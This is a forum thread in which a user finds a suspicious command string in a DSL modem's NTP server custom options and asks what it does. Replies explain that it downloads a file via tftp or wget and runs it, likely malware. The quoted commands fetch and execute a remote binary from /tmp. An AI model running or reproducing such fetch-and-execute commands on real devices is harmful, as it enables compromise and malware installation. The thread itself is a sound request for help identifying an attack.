what is this?

barzin · 04-28-2021, 06:36 AM

hello
i don't know where i have to ask this question
please guide me..
what is this script and what does it suppose to do in the dsl modem's ntp server custom options?

`cd /tmp;tftp -l4 -r4 -g ((an ip address and port number)) ;chmod 777 4;./4`

and sometimes became this one:

`cd /tmp;wget http://ip address :36296/4;chmod 777 4;./4`

thank you guys...

TenTenths · 04-28-2021, 08:55 AM

It downloads a file from the IP address either by ftfp (Trivial File Transfer Protocol) or wget and executes it.

////// · 04-28-2021, 09:46 AM

that looks to me malicious.

send that file to virustotals url scanner.
https://www.virustotal.com/gui/home/url

teckk · 04-28-2021, 11:16 AM

If you are on a linux machine then read the man page.

Otherwise:
http://manpages.ubuntu.com/manpages/...n1/tftp.1.html
https://www.man7.org/linux/man-pages/man1/chmod.1.html
https://www.man7.org/linux/man-pages/man1/wget.1.html
https://www.man7.org/linux/man-pages/man1/cd.1p.html

ondoho · 04-29-2021, 12:45 AM

Quote:

Originally Posted by //////

that looks to me malicious.

send that file to virustotals url scanner.
https://www.virustotal.com/gui/home/url

To clarify: according to post #1, the downloaded file is called "4".

elcore · 04-29-2021, 03:42 AM

Remember one just like it, from long time ago, it'd open many calculators until it ran out of memory.
No way to be sure what it does until you look into that /tmp/4 (could be anything, but probably a cryptominer or ransomware).